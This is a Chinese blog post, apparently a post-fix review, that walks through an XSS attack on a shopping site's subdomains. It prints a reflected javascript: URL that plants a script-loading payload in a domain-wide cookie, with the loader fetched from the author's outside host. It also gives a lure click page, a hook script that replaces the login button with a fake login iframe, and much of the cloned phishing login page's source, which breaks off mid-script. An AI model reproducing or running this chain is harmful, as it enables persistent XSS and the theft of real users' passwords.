SN 反射XSS修改cookie 伪造登陆窗口实现登陆劫持
【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
所有加密文章都是博主原创或精心收集或自行翻译国外的等较高质量的文章,每篇文章都会含有一些较为不错的知识点。但是请注意,加密文章如果你想查看,那么需要你用比较有质量的文章来和博主做交换,或者投稿。当然除了以上两种方式之外你也可以考虑付一些报酬来查看文章。这里的每篇文章博主都会亲自归纳知识点,都会让你不虚此行。
首先,我们访问首页,查看首页的HTML文件,如下图:
我们拿出其中的JS代码分析一下。代码如下:
①、var ngCartNum = d("totalProdQty"); // 从cookie 中获取"totalProdQty"它的值
②、ngCartNum = ( ngCartNum ==0 || ngCartNum == null )?0:ngCartNum; //判断这个值是否为空
ngCartNum = parseInt(ngCartNum); // 函数可解析一个字符串,并返回一个整数。原来没有这行,注意现在看的是修复后的复盘分析。~~~~
③、ngCartNum = ngCartNum>99?'99+':ngCartNum; //判断数值是否大于99如果大于则只显示99+
④、document.getElementById('showTotalQty').innerHTML = ngCartNum; //指定元素ID加载此内容。
从cookie中获取totalProdQty然后判断大小最后innerHTML,
这里要注意一下第三步,依据js语法的宽松性,11<test> 是满足足小于99的。所以可以利用这里点。
现在我们只需要找到一个某个子域名下的反射xss或者储存XSS,将cookie里面的totalProdQty值设置未我们的xss payload即可实现SN子域名下的通用xss。
https://talk8.jd.cn/robot/create.htm#loginRedirect:javascript%3Aalert%281%29
分析网站首页的登录框,然后将页面上所有的请登录按钮修改成我们的登录框,从而盗取用户的明文密码。
最终payload如下,保存成html代码,用火狐打开即可用户中招后cookie中的totalProdQty会被设置成
11<img src=1 onerror="with(document)head.appendChild(document.createElement('script')).src='https://woj.app/xss/cookie'">
注意哦。上方的红色部分就是完整的需要写入cookie的内容。最终用户只要访问京东的子站都会加载这段js https://woj.app/xss/cookie 这段js用来hook登录按钮,还有伪造登录框。
最终构造好的攻击地址是:
http://talk8.jd.cn/robot/create.htm#loginRedirect:javascript:document.cookie="totalProdQty=11<img src=1 onerror=\"with(document)head.appendChild(document.createElement('script')).src='https://woj.app/xss/cookie'\">;domain=.jd.com;path=/"
通过编码之后就是(只要访问这个地址,就会成功植入xss到cookie里面):
http://talk8.jd.cn/robot/create.htm#loginRedirect:javascript%3Adocument.cookie%3D%22totalProdQty%3D11%3Cimg%20src%3D1%20onerror%3D%5C%22with(document)head.appendChild(document.createElement('script')).src%3D'https%3A%2F%2Fwoj.app%2Fxss%2Fcookie'%5C%22%3E%3Bdomain%3D.jd.com%3Bpath%3D%2F%22
然后可以构造一个html点击的页面,想办法让别人访问(这一步可以忽略的)
<html>
<title>test</title>
<h1 align="center" onclick=window.location.href='http://talk8.jd.cn/robot/create.htm#loginRedirect:javascript%3Adocument.cookie%3D%22totalProdQty%3D11%3Cimg%20src%3D1%20onerror%3D%5C%22with(document)head.appendChild(document.createElement('script')).src%3D'https%3A%2F%2Fwoj.app%2Fxss%2Fcookie'%5C%22%3E%3Bdomain%3D.jd.com%3Bpath%3D%2F%22'>click me</h1>
</html>
最终效果,用户点击或者访问我们的页面之后,打开京东的页面点击登录后弹出京东的登录框,不过这个框已经加载的是 https://woj.app/xss/cookie 而不是京东的登录框。最终效果如下图:
这里最终给一下https://woj.app/xss/cookie 里面的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | //前提页面已经加载了jquery $(document).ready(function(){ document.getElementsByName('public0_none_denglu_denglu')[0].href='javascript:addiframe()'; }); function addiframe(){ b = "https://woj.app/diaoyu/html/test.html#"; $modalOverlay = $("#modalOverlay"); if ($modalOverlay.length > 0) { $modalOverlay.remove() } $modalContainer = $("#modalContainer"); if ($modalContainer.length > 0) { $modalContainer.remove() } $("body").append('<div id="modalOverlay" style="opacity: 0.3;filter:Alpha(opacity=30);background:none repeat scroll 0 0 #000000;position: absolute;border: 0 none;width: 100%;height: 100%;top: 0;left: 0;z-index:1000097;"></div><div id="modalContainer" style="z-index:1000098;position:fixed;_position: absolute;"></div>'); $("#modalOverlay").hide(); $("#modalOverlay").css("height", $(document).height() + "px"); $('#modalContainer').css({'z-index':'1000098', 'position':'fixed', 'top':'5px', 'left':'409.5px'}) $("#modalContainer").html('<iframe id="iframeLogin" style="position: fixed ;" width="380" height="450" src="' + b + '" frameborder="0" scrolling="no" allowtransparency="yes"></iframe>'); } |
钓鱼页面的源码也简单给一下把。要不可能会有人要。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 | <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>用户登录</title> <meta name="keywords" content="" /> <meta name="description" content="" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="shortcut icon" href="https://ssl.suning.com/favicon.ico" type="image/x-icon"> <script type="text/javascript"> //全局变量 var sn = sn || {}; </script> <!-- 引入全站公用资源文件 --> <link rel="stylesheet" type="text/css" href="https://sslres.suning.com/project/passport/login/b2c_popV5/css/??v3common.min.css,login.css?v=20170421" /> <script type="text/javascript"> var sn = sn || {}; //全局变量 var sn_domain = "http://www.suning.com"; var server_prefix_domain = "https://ssl.suning.com/emall/"; var srs_prefix_domain = "https://reg.suning.com/"; var asc_prefix_domain = "https://aq.suning.com/asc/"; var passport_domain = "https://passport.suning.com"; var sop_prefix_domain = "https://sopssl.suning.com/"; var goUrl = "http://www.suning.com/"; var dt_Siller_Url = "https://dt.suning.com/detect/dt/dragDetect.json"; var loginPBK="MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQComqoAyvbCqO1EGsADwfNTWFQIUbm8CLdeb9TgjGLcz95mAo204SqTYdSEUxFsOnPfROOTxhkhfjbRxBV4/xjS06Y+kkUdiMGFtABIxRQHQIh0LrVvEZQs4NrixxcPI+b1bpE0gO/GAFSNWm9ejhZGj7UnqiHphnSJAVQNz2lgowIDAQAB"; var companycard_url = srs_prefix_domain + "companycardshow.do"; //人工审核地址 var asc_selfService_URL = asc_prefix_domain + "selfService/show.do"; //登录建议URL var loginAdvise_Url = "http://ued.suning.com/survey/express/d29va1Nr"; //下载易购appURL var downLoadApp_Url = "http://sale.suning.com/syb/20120419xsjkhd/index.html"; //忘记密码 var forgetPwd_URL = asc_prefix_domain + "forgetpsw.do"; //会员卡连接地址 var memberCard_URL = srs_prefix_domain + "b2cMemberCard/offline/cardLogin.do"; var autoLoginCookie_expireDay = 30; </script> </head> <!--[if lt IE 7 ]><body class="ie ie6"><![endif]--> <!--[if IE 7 ]><body class="ie ie7"><![endif]--> <!--[if IE 8 ]><body class="ie ie8"><![endif]--> <!--[if IE 9 ]><body class="ie9"><![endif]--> <!--[if (gt IE 9)|!(IE)]><!--> <body><!--<![endif]--> <div class="login-dialog login-form"> <a href="javascript:void(0)" class="close" id="close-pop"></a> <div class="dialog-mask"></div> <div class="pc-login"> <div class="login-tab"> <a href="javascript:void(0);" class="tab-item on" style="border-right:1px solid #ddd">登录</a> <a href="javascript:freeToRegClick();" class="tab-item" name="TLogon_index_none_dl002">注册</a> </div> <div class="username-login"> <div> <div class="login-warning" style="display:none;"><i></i><span>公共场所不建议自动登录!</span></div> <div class="login-error" style="display:none;"><i></i><span>账户名与密码不匹配请重新输入!<a href="#">忘记密码</a></span></div> <div class="login-blank" style="line-height:24px;"> </div> </div> <div class="username-box"> <div class="input-box" id="showErrorUsernameDiv"> <input id="userName" type="text" autocomplete="off" tabindex="1" value="15555515987"> <label>用户名/手机/邮箱/门店会员卡号</label> <i class="icon username-icon"></i> <i class="clear"></i> </div> <div class="email-list hide"></div> </div> <div class="password-box"> <div class="input-box" id="showErrorPwdDiv"> <input id="password" type="password" autocomplete="off" tabindex="2"> <label>密码</label> <i class="icon password-icon"></i> <i class="clear"></i> </div> </div> <div class="verify-box clearfix showErrorVerifyCodeDiv" style="display:none;"> <div class="input-box"> <input class="validate" type="text" maxlength="4" autocomplete="off" tabindex="3"> <label>验证码</label> <i class="icon verify-icon"></i> <i class="clear"></i> <i class="ok"></i> <i class="error"></i> </div> <a name="TLogon_index_none_dl004" href="javascript:void(0)" class="verify-code"> <img id="imageCode1" src="" alt="图形验证码"> <span>换一张</span> </a> </div> <div id="TLogon_index_none_dl020" class="siller-box sillerVerifyCode" style="display:none;"> <div id="siller1"></div> </div> </div> <div class="phone-login"> <div> <div class="login-warning" style="display:none;"><i></i><span>公共场所不建议自动登录!</span></div> <div class="login-error" style="display:none;"><i></i><span>账户名与密码不匹配请重新输入!<a href="#">忘记密码</a></span></div> <div class="login-blank" style="line-height:24px;"> </div> </div> <div class="phone-box"> <div class="input-box" id="showErrorPhoneNumberDiv"> <input id="phoneNumber" type="text" autocomplete="off" tabindex="1" maxlength="11"> <label>手机号码</label> <i class="icon username-icon"></i> <i class="clear"></i> </div> </div> <div class="verify-box clearfix showErrorVerifyCodeDiv" style="display:none;"> <div class="input-box"> <input class="validate" type="text" maxlength="4" autocomplete="off" tabindex="2"> <label>验证码</label> <i class="icon verify-icon"></i> <i class="clear"></i> <i class="ok"></i> <i class="error"></i> </div> <a name="TLogon_index_none_dl021" href="javascript:void(0)" class="verify-code"> <img id="imageCode2" src="" alt="图形验证码"> <span>换一张</span> </a> </div> <div id="TLogon_index_none_dl020" class="siller-box sillerVerifyCode" style="display:none;"> <div id="siller2"></div> </div> <div class="sms-box clearfix"> <div class="input-box" id="showErrorSmsCodeDiv"> <input id="smsCode" type="text" autocomplete="off" tabindex="3" maxlength="6"> <label>手机验证码</label> <i class="icon password-icon"></i> <i class="clear"></i> </div> <a name="TLogon_index_none_dl022" href="javascript:void(0)" class="send-sms">获取验证码</a> </div> <div style="padding-top: 2px;"> <p class="sms-sent">验证码已发送到您的手机,<em>5</em>分钟内有效</p> <div class="voice-verify clearfix"> <span>如果您收不到验证码?</span> <a name="TLogon_index_none_dl023" href="javascript:void(0)" class="send-voice">获取语音验证码</a> </div> <div class="voice-sent clearfix"> <span>电话拨打中</span> <i></i> </div> <div class="blank"> </div> </div> </div> <div class="login-help clearfix"> <div class="auto-login"> <input name="TLogon_index_none_dl009" type="checkbox" id="rememberMe" checked> <label for="auto-login">自动登录</label> </div> <a id="FORGET_PWD" href="void(0);" class="forget-password" target="_blank" name="TLogon_index_none_dl005" rel="noopener noreferrer">忘记密码?</a> </div> <a id="submit" href="javascript:void(0)" onclick="javascript:prepareLoginSubmit();return false;" class="login-submit" name="TLogon_index_none_dl003">登 录</a> <div class="switch-login-type"> <a name="TLogon_index_none_dl024" href="javascript:void(0)">切换为 手机验证码登录 ></a> </div> </div> </div> <script type="text/javascript" src="https://sslres.suning.com/public/v3/js/jquery.js?v=20170421"></script> <script type="text/javascript" src="https://dt.suning.com/detect/dt/siller.js?v=20170421"></script> <script type="text/javascript" src="https://sslres.suning.com/project/passport/login/b2c_popV5/js/??login_pop.min.js,popupContainerHandler.min.js,security.min.js?v=20170421"></script> <script type="text/javascript"> var sn_domain = "https://www.suning.com"; //获取到的目标地址 将请求路径中的& 替换为 & var service = "https://aq.suning.com/asc/auth?targetUrl=http%3A%2F%2Ftalk8.suning.com%2FpopupLoginSuccess%3FtopLocation%3Dhttp%253A%252F%252Ftalk8.suning.com%252Frobot%252Fcreate.htm"; service = service.replaceAll('&','&'); //保存是从哪里请求的路径 将请求路径中的& 替换为 & var serviceStr =""; if(service != "" && service.length != 0){ var index = service.indexOf("targetUrl="); if(index < 0){ goUrl = service;//目标跳转地址 serviceStr = decodeURIComponent(goUrl.substring(goUrl.indexOf("topLocation") + 12)); //已解码 父页面地址 }else{ goUrl = decodeURIComponent(service.substring(index+10)); serviceStr = decodeURIComponent(goUrl.substring(goUrl.indexOf("topLocation") + 12)); //已解码 父页面地址 } } try{ var pattern = /.*?\.(suning|cnsuning|suningcloud|wuliuyun|snjijin)\.(com|cn)$/; var new_serviceStr = parseURL(serviceStr); if(!pattern.test(new_serviceStr.host)){ serviceStr = sn_domain; } }catch(e){} var popup_container_handler_config = { topLocation : serviceStr }; //免费注册 var freeToReg_URL = srs_prefix_domain + "popreg.do?topLocation="+serviceStr; //needVerifyCode:表示是否需要输入验证码 var needVerifyCodeVal=false; var isUseSlideVerifycode=true; var slideVerifycode=""; //是否中文验证码 var chineseValiCode = "false"; //图片验证码输错三次才刷新 var gImgVerCdeErrorCount = 0; //最近一次输入的图片验证码,不重复校验相同的图片验证码 var gLastImgValCode = ""; var gLastImgValCodeResult = false; //生成登陆之后的调整路径 function getGoUrl(){ if(service != "" && service.length != 0){ var index = service.indexOf("targetUrl="); if(index < 0){ goUrl = service; }else{ goUrl = decodeURIComponent(service.substring(index+10)); } } try{ var pattern = /.*?\.(suning|cnsuning|suningcloud|wuliuyun|snjijin)\.(com|cn)$/; var a_goUrl = parseURL(goUrl); if(!pattern.test(a_goUrl.host)){ goUrl = sn_domain; } }catch(e){} } function parseURL(url) { var getGoUrl_a = document.createElement('a'); getGoUrl_a.href = url; return { source: url, protocol: getGoUrl_a.protocol.replace(':', ''), host: getGoUrl_a.hostname, port: getGoUrl_a.port, query: getGoUrl_a.search, params: (function() { var ret = {}, seg = getGoUrl_a.search.replace(/^\?/, '').split('&'), len = seg.length, i = 0, s; for (; i < len; i++) { if (!seg[i]) { continue; } s = seg[i].split('='); ret[s[0]] = s[1]; } return ret; })(), file: (getGoUrl_a.pathname.match(/\/([^\/?#]+)$/i) || [, ''])[1], hash: getGoUrl_a.hash.replace('#', ''), path: getGoUrl_a.pathname.replace(/^([^\/])/, '/$1'), relative: (getGoUrl_a.href.match(/tps?:\/\/[^\/]+(.+)/) || [, ''])[1], segments: getGoUrl_a.pathname.replace(/^\//, '').split('/') }; } //免费注册 function freeToRegClick(){ location.href = freeToReg_URL; } //忘记密码 function forgetPwdClick(){ $("#FORGET_PWD").attr("href",forgetPwd_URL); } //检测华夏基金等信任登录的cookies信息 function checkTrustCookie() { //信任登录未绑定的标记 var trustbinding = login.getCookie('trust_user_not_binding'); if ( trustbinding != null && trustbinding != "") { var redirectUrl = comm_bind_url + "?trustType=normal&bindingTicket="+trustbinding+"&targetUrl="+decodeURIComponent(serviceStr); setTimeout(function(){parent.location.href = popup_container_handler_config.topLocation + "#loginRedirect:"+encodeURIComponent(redirectUrl) ;},1000) } } //图片验证码 function fun_getVcode() { gImgVerCdeErrorCount = 0; //重新加载图片验证码 if($('.login-form .verify-code img:visible').length > 0){ $('.login-form .verify-code img:visible')[0].src = 'https://vcs.suning.com/vcs/imageCode.htm?uuid=' + "298aa7fb-8084-49ff-89b3-2a88d17848c4" + "&sceneId=logonImg&yys=" + new Date().getTime(); } cleanVerifyCodeError(); } //登陆初始化默认 function showScanhide(){ $('.login-error').find('span').html(''); $('.login-blank').show().siblings().hide(); login.autoLoginCheck(0); $("#showErrorUsernameDiv").removeClass("input-error"); $("#showErrorPwdDiv").removeClass("input-error"); $(".showErrorVerifyCodeDiv .input-box").removeClass("input-error"); $("#showErrorPhoneNumberDiv").removeClass("input-error"); $("#showErrorSmsCodeDiv").removeClass("input-error"); } function showErrorInfo(msg,inputId){ $('.login-error').find('span').html(msg); $('.login-error').show().siblings().hide(); if(inputId){ $("#" + inputId + "").addClass("input-error"); } if(inputId == 'showErrorVerifyCodeDiv'){ $("." + inputId + "").find('.input-box').addClass("input-error"); } } function hideErrorInfo(){ showScanhide(); } //显示图片验证码正确 function showVerifyCodeOK(){ var codeObj = $('.verify-box .input-box input'); codeObj.siblings('.clear,.error').hide(); codeObj.siblings('.ok').show(); } //显示图片验证码错误 function showVerifyCodeError(){ var codeObj = $('.verify-box .input-box input'); codeObj.siblings('.clear,.ok').hide(); codeObj.siblings('.error').show(); } //清除图片验证码提示 function cleanVerifyCodeError(){ var codeObj = $('.verify-box .input-box input'); codeObj.siblings('.ok,.error').hide(); $(".validate:visible").val(""); $(".validate:visible").blur(); } //普通登录处理回车事件 function onNormalLogonKeyPress(evt) { //兼容IE和Firefox获得keyBoardEvent对象 evt = (evt) ? evt : ((window.event) ? window.event : "") //兼容IE和Firefox获得 keyBoardEvent对象的键值 var keyCode = evt.keyCode?evt.keyCode:evt.which; if(keyCode==13) { prepareLoginSubmit(); } } //判断大小写锁定 function checkCapsLock(evt){ //兼容IE和Firefox获得keyBoardEvent对象 evt = (evt) ? evt : ((window.event) ? window.event : "") //兼容IE和Firefox获得 keyBoardEvent对象的键值 var keyCode = evt.keyCode?evt.keyCode:evt.which; var isShift = evt.shiftKey ||(keyCode == 16 ) || false ; if (((keyCode >= 65 && keyCode <= 90 ) && !isShift) || ((keyCode >= 97 && keyCode <= 122 ) && isShift) ){ $('.login-warning').find('span').html("键盘大写锁定已打开,请注意大小写"); $('.login-warning').show().siblings().hide(); }else{ var msg = $(".login-warning").html(); //当在密码输入框中输入正常的时候,错误提示的内容是"键盘大写",的时候,错误提示消失 if(msg.indexOf("键盘大写")!=-1){ showScanhide(); } } } //普通登录:提交时检查账号 function checkNormalLogonIdOnSubmit() { // 清掉服务器错误消息 hideErrorInfo(); var eml = $('#userName').val(); if (eml == null || eml == "") { showErrorInfo("请输入用户名/邮箱/手机号!","showErrorUsernameDiv"); return false; } if (eml.length != 0 && eml.length < 50 && eml.match( /^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/ )){ $('#userName').val(eml.toLowerCase()); } else { $('#userName').val(eml); } hideErrorInfo(); return true; } //普通登录:提交时检查密码 function checkNormalLogonPwdOnSubmit() { // 清掉服务器错误消息 hideErrorInfo(); var pwd = $('#password').val(); pwd = pwd.Trim(); if (pwd.length<6 || pwd.length>20) { showErrorInfo("请输入6-20位密码!","showErrorPwdDiv"); return false; } else { hideErrorInfo(); return true; } } //图片验证码位置按键的弹起事件 function onKeyUpForValidate(evt){ //兼容IE和Firefox获得keyBoardEvent对象 evt = (evt) ? evt : ((window.event) ? window.event : "") //兼容IE和Firefox获得 keyBoardEvent对象的键值 var keyCode = evt.keyCode?evt.keyCode:evt.which; if(keyCode==13) { prepareLoginSubmit(); }else{ checkNormalLogonValidateCodeOnBlur(); } } //图片验证码框中焦点移除的时候,进行提示 function checkValidateCodeOnBlur(){ var vcd = $('.validate:visible').val(); if (vcd == null || vcd == "") { return; }else if(vcd.length == 4){ //没有在提交中的时候进行提交操作 4个长度的时候需要是字符数字, 3个长度的时候需要是汉字 return; }else{ //showVerifyCodeError(); return; } } // 普通登录:失去焦点时检查图片验证码 function checkNormalLogonValidateCodeOnBlur() { // 清掉服务器错误消息 var vcd = $('.validate:visible').val(); if (vcd == null || vcd == "") { return false; } else if(vcd.length == 4){ //没有在提交中的时候进行提交操作 4个长度的时候需要是字符数字, 3个长度的时候需要是汉字 if(chineseValiCode == "true"){ if(isChineseStr(vcd)){ checkImageValCode(); } }else{ checkImageValCode(); } return true; } } function checkInputEvent(){ $("#userName").blur(function(){ checkShowImageCode(); }); $("#userName").keypress(function(){ onNormalLogonKeyPress(); }); $("#phoneNumber").blur(function(){ checkSmsLoginPhone(); }); $("#password").keypress(onNormalLogonKeyPress); $("#password").keypress(checkCapsLock); //实时校验 $(".validate").keyup(onKeyUpForValidate); $(".validate").blur(checkValidateCodeOnBlur); } //是否显示图片验证码 function checkShowImageCode(){ var logonIdval = $('#userName').val().Trim(); if(logonIdval.length > 0){ userNameBlur("#userName",''); } } //异步是指动态验证码是否显示 function userNameBlur(o,v){ if ($(o).val().Trim().length >0){ var userNameVal=$(o).val(); userNameVal = userNameVal.Trim(); $.ajax( { type : 'POST', url : 'needVerifyCode', data : 'username='+encodeURIComponent(userNameVal), dataType : 'json', success : function(data) { if(data&& data.needVerifyCode){ if (!needVerifyCodeVal) { needVerifyCodeVal=true; showAndHideVerifyCode(needVerifyCodeVal,isUseSlideVerifycode); } }else if(data&& !data.needVerifyCode){ if (needVerifyCodeVal) { needVerifyCodeVal=false; showAndHideVerifyCode(needVerifyCodeVal,null); } } }, error : function(data) { } }); } }; //初始化显示图片验证码是否显示 function initShowVerifyCode(){ showAndHideVerifyCode(needVerifyCodeVal,isUseSlideVerifycode); } //显示隐藏验证码 function showAndHideVerifyCode(isNeedVerifyCodeVal,isUseSlideVerifycodeVal){ if(isNeedVerifyCodeVal){ if(isUseSlideVerifycodeVal){ $(".sillerVerifyCode").show(); }else{ $(".showErrorVerifyCodeDiv").show(); fun_getVcode(); } }else{ $(".sillerVerifyCode").hide(); $(".showErrorVerifyCodeDiv").hide(); } } //图片验证码长度大于4的时候进行图片验证码的校验 function checkImageValCode(){ var imageValCode = $(".validate:visible").val(); var vcd = $.trim(imageValCode); if(vcd.length == 4){ return ajaxCheckVerifyCodeOrSubmit(false); } } //图片验证码框中焦点移除的时候,进行提示 function checkValidateCodeOnSubmit(){ if(isUseSlideVerifycode){ if (siller.status == 0 || null == slideVerifycode || slideVerifycode == "" ) { showErrorInfo("为了你的账户安全,请拖动滑块完成验证。"); return false; }else{ //已经完成滑动验证 return true; } }else{ var vcd = $('.validate:visible').val(); if (vcd == null || vcd == "") { showErrorInfo("请输入图片验证码","showErrorVerifyCodeDiv"); return false; }else if(vcd.length == 4){ //没有在提交中的时候进行提交操作 4个长度的时候需要是字符数字, 3个长度的时候需要是汉字 return true; }else{ showErrorInfo("验证码不正确,请重新输入。","showErrorVerifyCodeDiv"); return false; } } } //检查是否是上次用Ajax校验过的图片验证码,如果是,返回true, 如果不是,则记录下来,返回false function isLastImgValCode(code) { if (gLastImgValCode == code) { return true; } else { gLastImgValCode = code; return false; } } //图片验证码的异步校验 //isSubmit:是否进行提交 true:表示验证成功之后进行提交操作 ; false:表示仅仅进行验证 function ajaxCheckVerifyCodeOrSubmit(isSubmit) { if(isUseSlideVerifycode){ if (siller.status == 0 || null == slideVerifycode || slideVerifycode == "" ) { showErrorInfo("为了你的账户安全,请拖动滑块完成验证。"); return false; }else{ //进行提交操作 if(login.userLoginType == "smsLogin"){ ajaxSmsLogonSubmit(); }else{ loginSubmit(); } } }else{ //用户输入的验证码code var code = $(".validate:visible").val(); if (!isSubmit && isLastImgValCode(code)) { if(gLastImgValCodeResult){ showVerifyCodeOK(); }else{ showVerifyCodeError(); } return; } //请求时所传参数 var param = { code : code, uuid : "298aa7fb-8084-49ff-89b3-2a88d17848c4", delFlag : 0 }; $.ajax({ //请求类型 type : 'POST', //发送验证请求的url url : "https://vcs.suning.com/vcs/validate_jsonp.htm", //请求时所传参数 data : param, //返回数据类型 dataType : 'jsonp', //回调函数方法名 jsonp : 'callback', //请求成功后的回调函数 success : function(data) { //显示验证结果 if(data[0].result == 'true'){ gLastImgValCodeResult = true; hideErrorInfo(); showVerifyCodeOK(); if(isSubmit){ //进行提交操作 if(login.userLoginType == "smsLogin"){ ajaxSmsLogonSubmit(); }else{ loginSubmit(); } } }else{ gLastImgValCodeResult = false; // 当输入满4位时,鼠标未移出就开始校验图片验证码正确性。若连续输入错误3 次,系统自动刷新图片验证码。 gImgVerCdeErrorCount++; if (gImgVerCdeErrorCount >= 3 || isSubmit) { fun_getVcode(); }else{ showVerifyCodeError(); } 